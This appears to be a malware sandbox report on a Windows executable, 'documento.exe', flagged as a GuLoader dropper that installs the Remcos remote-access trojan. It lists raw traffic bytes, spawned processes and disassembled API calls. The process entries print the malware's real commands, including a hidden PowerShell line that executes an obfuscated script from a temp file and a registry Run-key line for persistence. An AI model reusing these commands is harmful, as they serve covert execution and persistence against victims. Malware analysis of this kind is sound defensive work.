ArF;a`xOJ=F'MD<r1Pv=aH6,7'nX[U1'Ty{2q<^)'Pe*%kl=TKBeR:E37M\|yc6!H6+k)$Tk\<WE53bN[iF9q>
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: b4 63 70 f0 fe 59 1c 1d 1b fa 42 83 b2 d5 1c 67 ea ae 84 27 8f ad ba f4 6f 73 21 7e b4 d0 cd 51 e4 fe bb 36 a3 f3 fe 62 d6 2a 3c 50 4a 95 61 59 a3 0c a0 be ee 56 dc 94 fe 34 11 9e d6 5d 50 1f 22 41 14 b9 08 17 29 d0 7b 8a 01 de 78 86 c9 08 80 1c 8b 14 1b 3e 1d b2 38 17 78 2b 31 26 0e a2 1b f6 98 b4 18 49 e5 6a 16 82 3e 3f 15 82 53 c9 6d 93 ed 71 d5 71 85 7a 98 9d 87 85 d4 37 8d 40 1f 39 41 81 93 77 a3 cf e8 9a e0 99 37 3f 5a b3 ca 47 10 67 87 7a ea 63 59 a3 6a 96 78 72 83 35 3d 86 94 95 c5 1b 9b 7d 84 4b 59 7a c3 67 4f 0c d8 d4 95 68 1a 97 6a 26 08 eb fc 97 ca e7 cb 2a 50 af ba 75 0b 3c 5e 06 0f 50 7a bf 8d ec 58 ea 1a 99 65 37 3d 10 0e 09 13 bc 5a 39 02 e2 d9 dd e4 2c da f6 10 5c 25 bb d9 d4 68 79 4c 4b 48 83 11 ae ee 2b 0f 5c d9 e3 78 0a 9d 2a 31 bf 3b Data Ascii: cpYBg'os!~Q6b<PJaYV4]P"A){x>8x+1&Ij>?Smqqz7@9Aw7?ZGgzcYjxr5=}KYzgOhj&Pu<^PzXe7=Z9,\%hyLKH+\x*1;
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: 97 14 7a 95 a5 f3 f4 c8 30 88 73 a6 09 4b 2a 90 56 8f d0 d1 66 f2 51 60 01 e7 8a 74 04 7b 68 91 19 b7 71 d4 e4 9f f5 5e e6 ea 77 c8 5a 8f 15 01 83 aa cb 8a 7c a8 93 ed ce ef f5 d9 cd e1 76 04 3a 65 9d c2 66 22 dd c2 19 11 e5 0d f0 28 5c 66 b9 ec 4f 7d f6 24 c8 05 46 30 bd 32 f3 b6 78 d4 03 97 4e d8 98 78 e5 cb 92 6b cc 4e ba 28 2a c1 96 fc 42 82 bf ee 5a 12 98 e1 6d 73 57 0d cf ef ff 18 0c b2 c6 ba ca fe 70 23 1c 43 10 cb 47 e9 59 c8 9b e6 bf b1 3b a7 33 f9 39 e6 2d b0 13 60 c6 38 4b 91 8b 08 20 34 c9 bc 49 57 0b 38 97 81 c8 c7 0b 8a 08 fc e2 88 52 c8 91 89 d6 17 85 5b f0 14 7f b9 f9 3f 25 35 50 dd 55 2b bc c6 ea 06 4d 54 f0 94 d7 b5 54 d3 2d e8 26 0c ff c6 72 05 bd a5 2a 55 c6 7a 29 23 82 f9 13 e4 1f 01 bd 6c c9 c7 d8 c6 c2 32 21 15 64 16 47 9b b9 ff d3 Data Ascii: z0sKVfQ`t{hq^wZ\|v:ef"(\fO}$F02xNxkN(BZmsWp#CGY;39-`8K 4IW8R[?%5PU+MTT-&r*Uz)#l2!dG
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: 0e 70 3b 93 63 09 ec 10 21 48 50 e9 48 80 ca 10 01 4d 19 74 3e 02 a4 e0 ef fe f0 de 70 dd 31 cd da 12 e8 f9 d2 2d 82 89 9e 7f a3 99 5d 5e 03 90 a8 db 01 69 f5 bc 8d 26 5d 11 dd 06 f1 84 7c ac 98 78 ab 7b a8 7a 7b be 3a cf 7b 35 61 d4 29 28 8b b2 24 69 8f e7 3f 39 9c 62 b0 45 1e a7 a6 0c 9a 3a ae 9c 72 f6 de 82 9b 8c d4 bb 65 28 ee b9 ee a7 a7 20 00 83 70 36 18 9d d9 80 df 70 64 1f 2c 1c 37 a5 71 b8 46 9c f5 2f 32 13 1a ab 5c 3f 79 32 ac 45 fc 85 fc ab 73 f8 26 67 8c 8c d3 bf 0a 70 a6 cd f9 07 4f cc c7 e7 27 ef ff bc c9 cc 6b 2c 1f 21 b8 b2 99 2a e1 4d 4c 63 c6 ce 6f a6 f1 56 d3 64 b8 47 a9 21 49 b5 e8 67 ff 33 3b 08 dd 29 88 13 01 6d c9 21 21 fd 22 4d 7b 6b 8d 68 46 9e 74 9e e7 52 0b b4 5f 91 ac 58 6f b3 29 7c 01 4c 9b 9c 0e df 20 09 50 19 46 03 e6 e2 9a Data Ascii: p;c!HPHMt>p1-]^i&]\|x{z{:{5a)($i?9bE:re( p6pd,7qF/2\?y2Es&gpO'k,!*MLcoVdG!Ig3;)m!!"M{khFtR_Xo)\|L PF
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: 26 f2 63 60 b9 b5 34 8a aa 4e 28 fa 36 a3 ac ed f6 3d 89 5a dd a5 e4 9e 93 e7 ea a8 08 91 63 c7 8b df b2 8d e7 69 3d 11 ad 84 1a fd 89 97 ce af 7d 10 27 19 31 c1 f2 d6 50 52 b4 42 98 7e a7 20 05 fa 61 72 cf 5a 54 8f 9c a8 bf bf 5c 8f eb f8 72 b1 cc c6 03 04 a6 64 9d b0 db ca 3f c7 e5 58 a2 16 9a 74 fb 86 d3 d6 1a 37 36 32 4e cd 5d 5a 64 d2 48 77 2f 3b 01 51 2c ff 00 a8 b6 bd e6 e1 fa 47 bb a9 69 9a a0 02 91 4c b2 85 8f 65 44 5f 49 f8 9a 26 36 c6 52 c3 f1 e3 fc 5d aa d4 5d f0 ca ff 06 88 6a a9 86 7a ad 46 87 6b e5 df 40 ce 28 cb 3f c8 0b bc 45 59 8b 3e 20 eb ea e4 b1 93 f6 e3 74 d5 0e 5c 1a 43 4a 49 37 a0 ee 84 68 d1 96 f6 bc 8a 61 a3 9e 22 f1 2a bc 3e 7f ce d1 ed b4 36 39 be 3e 0f 57 ca be ea 23 a7 50 24 2a 09 37 4d 2c e8 68 e6 4a b9 49 55 20 bc 57 aa 38 Data Ascii: &c`4N(6=Zci=}'1PRB~ arZT\rd?Xt762N]ZdHw/;Q,GiLeD_I&6R]]jzFk@(?EY> t\CJI7ha">69>W#P$7M,hJIU W8
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: ec f7 fa 68 5f d1 00 ea 21 cd ec e5 e8 14 d4 ea d2 bd 45 d2 12 46 87 b2 d5 97 8f 61 61 07 5a 8f a5 c9 47 82 94 23 85 4b 5b c5 10 b5 75 74 de 46 0e 01 9d 86 a1 f7 b8 97 68 9e a6 f3 e4 f7 4c 11 a9 71 24 97 a7 4d 76 1b a0 da 91 ac b1 9f 62 5e ff ea 5f 81 75 51 32 72 8b c9 08 d9 4c 00 df f3 bf e3 4d c7 9c 90 c3 5e 4b 20 d0 fc b1 ec 5e d7 a1 c9 ed e8 7d b5 64 9b 72 bb 22 92 6c 12 8c c6 fa 4e f3 88 75 53 86 d4 37 06 15 1f b2 ce eb 93 5d 8d 22 99 06 0a 67 c8 c0 41 b0 97 1c d2 73 80 fa 96 49 5d a3 3c ed 8f 06 d1 66 d5 2b 97 95 c5 90 43 fe bf 5b 6b 3e 96 2c af 90 ed 5a 6a 97 99 eb 47 32 08 60 14 6c 88 e7 42 6c 74 bf cc 9e f2 48 7a 12 5f b8 f6 b3 8d ec 01 ba 4f 71 26 c5 c2 2f a3 aa 79 5e 3d c1 cc a2 b9 20 90 08 ce 9e e5 a1 da 40 52 1c 80 06 48 4b 48 de 4a 25 20 c3 Data Ascii: h_!EFaaZG#K[utFhLq$Mvb^_uQ2rLM^K ^}dr"lNuS7]"gAsI]<f+C[k>,ZjG2`lBltHz_Oq&/y^= @RHKHJ%
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: e5 8e 7a 36 d9 f0 ef 53 49 63 4f f8 17 5e 75 8c fb aa 0a 5c 11 78 2d e1 a3 15 a4 55 43 e1 5e 81 54 05 cf dc 26 17 79 c8 f8 7c 16 9d f2 22 b7 18 df df b6 37 d0 31 4f 36 8c 31 e1 79 b9 9d 01 df ed 69 51 31 f8 71 26 45 11 c7 af a9 9a db 39 02 5e a9 0e 9d 7c 93 09 28 9e 37 21 8b c4 e3 8c f1 24 c7 91 a7 c9 ec 56 a2 f1 78 b7 07 80 42 53 3f 82 a3 fc ca 6b 98 83 46 d7 4a 32 5c f7 9f 0a 57 34 e1 e0 67 6a ca 47 e7 1e 27 9e 35 2b 0f 59 ad f9 5f b5 5b 22 68 36 93 8c 67 cc 04 43 bc 33 9f 48 c4 30 6d b6 f7 e6 fe ec 2f 21 00 31 e2 fa 63 22 8a 93 71 57 ad f7 ce 4d 9d bf 9c 88 a6 9a e0 68 d1 0e a4 ce 5d a5 f6 1f 00 53 18 be 40 47 06 a8 00 e0 9e 31 ec 03 67 75 12 a0 71 66 1d cb 1d f8 43 ae d5 21 e0 21 f3 46 be 75 45 25 05 a8 39 dc e9 8d e2 d9 84 08 88 be 2c 73 97 b3 28 eb Data Ascii: z6SIcO^u\x-UC^T&y\|"71O61yiQ1q&E9^\|(7!$VxBS?kFJ2\W4gjG'5+Y_["h6gC3H0m/!1c"qWMh]S@G1guqfC!!FuE%9,s(
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: 68 fc a7 63 8c 43 c3 4c 3c 3a 80 85 b4 cb bc 3c 6a 04 5e 83 84 74 35 3f 38 ec 57 01 76 ab a2 7c 39 66 13 88 bf 2f f3 fd 56 a6 7c 5f 53 e9 06 25 34 5e 1d ad 5b 50 28 b1 ac af e4 e4 f7 48 85 fd bc 8f 17 dd 20 f9 e2 ba de 5b a0 29 aa ab 60 7d fa bf eb 75 8b 5f cc 97 c6 21 28 da d1 7f 65 a2 59 65 fb 98 6d dd 18 1f a7 a6 15 f1 ca af 93 f7 d9 1d 86 9b e5 c2 3f 4f 6f 56 12 31 03 26 2c 63 fe 61 32 f1 e1 26 95 db 68 6d 3b d7 c0 cf ce 36 b8 95 c5 d2 6a cd 8f 67 a2 b4 df ce 73 b3 88 7f 89 b3 23 57 46 27 0d 8d 25 cd bb f9 ed 7f c2 95 ff cc 08 9b 73 49 fd 2f eb 1c 74 14 62 10 cd 97 71 ca 7f 5f b8 91 e8 2f c9 b2 d7 81 8d 61 9b ca 40 46 12 b9 5d 2b 7a e5 d9 b0 74 a0 b6 73 6e 06 86 bd 97 d4 02 35 30 a8 1d a5 ba 02 a6 8c e7 3c 2d 80 7b d4 89 e2 ef 9a 4c 8f 7c 1a ea 27 50 Data Ascii: hcCL<:<j^t5?8Wv\|9f/V\|_S%4^[P(H [)`}u_!(eYem?OoV1&,ca2&hm;6jgs#WF'%sI/tbq_/a@F]+ztsn50<-{L\|'P
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: 2e 47 09 4d ba d7 86 87 cf 43 bf d8 a3 8b 11 c5 06 ef f2 cf f5 21 12 7a 2e e0 c9 b6 5e 5e b3 05 a6 5a 16 32 66 b4 a8 25 47 77 3f ff 49 b2 18 8d b6 1f ca 88 15 d8 67 8d 68 db 29 e1 55 ce 95 a1 73 4a 5d fc ef b1 c9 91 2f 8f 8c 19 10 e4 76 6e 15 7f 43 d0 da 44 a1 9d 74 54 3a d5 3d 0f 6f fc c8 99 2e 8b 9f 9c ca 17 52 44 53 86 b1 29 5f 7e 82 70 a3 c0 8f c9 32 0d f2 42 63 40 ac e3 d0 87 e6 2f 88 94 00 74 73 62 e9 d7 c2 88 7f bb a1 69 6c 4e fd 6e 39 c1 eb 1c 76 af 08 49 8c 1f ea a7 3a 26 e7 66 5f 5f 50 91 16 c2 10 41 31 ee 11 e3 f5 a2 01 32 0d 31 fd 19 ab 7e f3 58 ef cf 8f c7 ef ad 51 97 10 dd 60 24 d7 ae 06 86 0d 63 a6 de 35 3e 32 92 d2 e9 6d af 6c 21 58 50 b1 37 d1 84 98 39 ea fe ac 51 d6 89 cc fa a9 14 e2 66 5f 34 2e 8f ea d4 8a 9e 64 81 ad e4 e1 4e a8 3b 7e Data Ascii: .GMC!z.^^Z2f%Gw?Igh)UsJ]/vnCDtT:=o.RDS)_~p2Bc@/tsbilNn9vI:&f__PA121~XQ`$c5>2ml!XP79Qf_4.dN;~
2024-05-01 16:22:29 UTC	1369	IN	Data Raw: 44 ac e1 04 5b 9b 05 45 71 30 bc 32 38 10 88 42 e3 fb 15 f6 58 ce de e8 2c d4 e2 d2 aa 31 2d 12 92 6a 4d 2a 4c ec 24 46 0c ce 70 52 b9 a3 3a 9b bd a7 4b 2f 4e 95 e8 a9 80 42 87 ef 8b 43 5d e4 d4 3f a3 6a 9e d4 af 37 25 65 e1 13 2b 6b 55 4f a6 ce 3e 00 cc 91 d8 11 fc 9e d5 e8 d6 49 67 01 4d fe 64 6e 85 e1 7f e3 88 d7 90 f0 4d 5a 7a fe a7 d4 61 ae 28 0d 80 68 6f 11 14 c2 9d 46 ff c6 ce 50 ef df 0c 38 aa cd b6 c5 c0 71 0e b4 70 e2 68 7a 2b fb 06 41 dc 6c 8a 6d 10 4a 81 aa fc f7 0c dc 27 6f f6 01 22 b8 ef fc cd 72 67 69 11 f3 82 ce a2 8d 7c 6c 64 6d 8e 6a b0 0b 64 08 88 a3 cd 92 3c 58 ea 35 bc 2a 91 20 4a 7f 1b fa f7 14 7f 23 c1 ba 09 24 50 fe eb d8 86 60 7a 16 5a 06 2d ec 06 15 b0 e7 f5 66 da bc 49 f4 08 e5 39 f1 1a 1c ea 1d 07 20 1b d3 ae 52 37 d7 ea ec 31 Data Ascii: D[Eq028BX,1-jML$FpR:K/NBC]?j7%e+kUO>IgMdnMZza(hoFP8qphz+AlmJ'o"rgi\|ldmjd<X5 J#$P`zZ-fI9 R71

Target ID:	0
Start time:	18:19:12
Start date:	01/05/2024
Path:	C:\Users\user\Desktop\documento.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\documento.exe"
Imagebase:	0x400000
File size:	833'309 bytes
MD5 hash:	518C32EDF768D3BE4F268071E0722A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:19:27
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Imagebase:	0xba0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.538410512.000000000839B000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:19:31
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Imagebase:	0x4a360000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:20:22
Start date:	01/05/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xaa0000
File size:	516'096 bytes
MD5 hash:	EF162817C730DB9355F6C28F2445D206
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	18:20:36
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"
Imagebase:	0x4a900000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:20:36
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"
Imagebase:	0x50000
File size:	62'464 bytes
MD5 hash:	D69A9ABBB0D795F21995C2F48C1EB560
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:20:45
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal)
Imagebase:	0xba0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:20:47
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Imagebase:	0xba0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:20:50
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Imagebase:	0x4a7c0000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 3948, Parent PID: 1244

General

Target ID:	17
Start time:	18:20:55
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal)
Imagebase:	0xba0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Analysis Process: powershell.exePID: 4076, Parent PID: 3948

General

Target ID:	19
Start time:	18:20:59
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Imagebase:	0xba0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000013.00000002.791285733.00000000085E1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Analysis Process: cmd.exePID: 1836, Parent PID: 4076

General

Target ID:	20
Start time:	18:21:02
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Imagebase:	0x4a660000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: wab.exePID: 2208, Parent PID: 3788

General

Target ID:	21
Start time:	18:22:00
Start date:	01/05/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xaa0000
File size:	516'096 bytes
MD5 hash:	EF162817C730DB9355F6C28F2445D206
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:22:06
Start date:	01/05/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xaa0000
File size:	516'096 bytes
MD5 hash:	EF162817C730DB9355F6C28F2445D206
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	21.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.6%
Total number of Nodes:	1278
Total number of Limit Nodes:	31

Executed Functions

Function 004030D9 Relevance: 94.9, APIs: 32, Strings: 22, Instructions: 355
comstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004030FE
GetVersion.KERNEL32 ref: 00403104
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403153
OleInitialize.OLE32(00000000), ref: 0040315A
SHGetFileInfoA.SHELL32(0041ECE0,00000000,?,00000160,00000000), ref: 00403176
GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040318B
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\documento.exe",00000000), ref: 0040319E
CharNextA.USER32(00000000), ref: 004031C9
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004032C6
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004032D7
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032E3
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\), ref: 004032F7
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004032FF
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403310
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403318
DeleteFileA.KERNELBASE(1033), ref: 0040332C

Part of subcall function 00406092: GetModuleHandleA.KERNEL32(?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060A4
Part of subcall function 00406092: GetProcAddress.KERNEL32(00000000,?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060BF

OleUninitialize.OLE32 ref: 004033DA

Part of subcall function 004054F3: MessageBoxIndirectA.USER32 ref: 0040554E

ExitProcess.KERNEL32 ref: 004033FB

Strings

C:\Users\user\Desktop\documento.exe, xrefs: 004034B8
SeShutdownPrivilege, xrefs: 00403531
~nsu, xrefs: 00403406
TMP, xrefs: 00403313
\Temp, xrefs: 004032DD
Low, xrefs: 004032F9
C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare, xrefs: 004033B7
1033, xrefs: 00403327
NSIS Error, xrefs: 0040317C
.tmp, xrefs: 00403422
Error launching installer, xrefs: 00403392
"C:\Users\user\Desktop\documento.exe", xrefs: 00403191, 00403197, 00403350
", xrefs: 004031EE
A, xrefs: 0040348C
USERENV, xrefs: 0040312C
C:\Users\user\AppData\Local\Temp\Deinotherium, xrefs: 004032AB, 004033AC, 00403456, 0040345F
C:\Users\user\AppData\Local\Temp\, xrefs: 004032BB, 004032C0, 004032D6, 004032E2, 004032F1, 004032FE, 0040330A, 00403312, 0040340B, 0040341C, 00403427, 00403433, 00403440, 0040344F, 004034FE
SETUPAPI, xrefs: 00403136
C:\Users\user\Desktop, xrefs: 0040342D, 00403432, 0040345E
TEMP, xrefs: 0040330B
UXTHEME, xrefs: 00403122
C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry, xrefs: 00403491, 004034F4

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: EnvironmentFileHandleModulePathTempVariablelstrcat$AddressCharCommandDeleteDirectoryErrorExitIndirectInfoInitializeLineMessageModeNextProcProcessUninitializeVersionWindows
String ID: "$"C:\Users\user\Desktop\documento.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Deinotherium$C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry$C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare$C:\Users\user\Desktop$C:\Users\user\Desktop\documento.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu$A
API String ID: 2526692829-1890821402
Opcode ID: 65d8c7c0dc71d37f73623eda482e5ff5e021372f15626971e5a0e3397de26aea
Instruction ID: bda156f374487f2bbb29673c031f74f644c2b1eaea70be50b0a917a6d4bf9e43
Opcode Fuzzy Hash: 65d8c7c0dc71d37f73623eda482e5ff5e021372f15626971e5a0e3397de26aea
Instruction Fuzzy Hash: 17C1E6706082427AE7116F719D4DA2B3EACEB8570AF04457FF542B51E2CB7C9A058B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00405054 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004050B3
GetDlgItem.USER32(?,000003EE), ref: 004050C2
GetClientRect.USER32 ref: 004050FF
GetSystemMetrics.USER32 ref: 00405106
SendMessageA.USER32 ref: 00405127
SendMessageA.USER32 ref: 00405138
SendMessageA.USER32 ref: 0040514B
SendMessageA.USER32 ref: 00405159
SendMessageA.USER32 ref: 0040516C
ShowWindow.USER32(00000000,?), ref: 0040518E
ShowWindow.USER32(?,00000008), ref: 004051A2
GetDlgItem.USER32(?,000003EC), ref: 004051C3
SendMessageA.USER32 ref: 004051D3
SendMessageA.USER32 ref: 004051EC
SendMessageA.USER32 ref: 004051F8
GetDlgItem.USER32(?,000003F8), ref: 004050D1

Part of subcall function 00403F17: SendMessageA.USER32 ref: 00403F25

GetDlgItem.USER32(?,000003EC), ref: 00405214
CreateThread.KERNELBASE(00000000,00000000,Function_00004FE8,00000000), ref: 00405222
CloseHandle.KERNELBASE(00000000), ref: 00405229
ShowWindow.USER32(00000000), ref: 0040524C
ShowWindow.USER32(?,00000008), ref: 00405253
ShowWindow.USER32(00000008), ref: 00405299
SendMessageA.USER32 ref: 004052CD
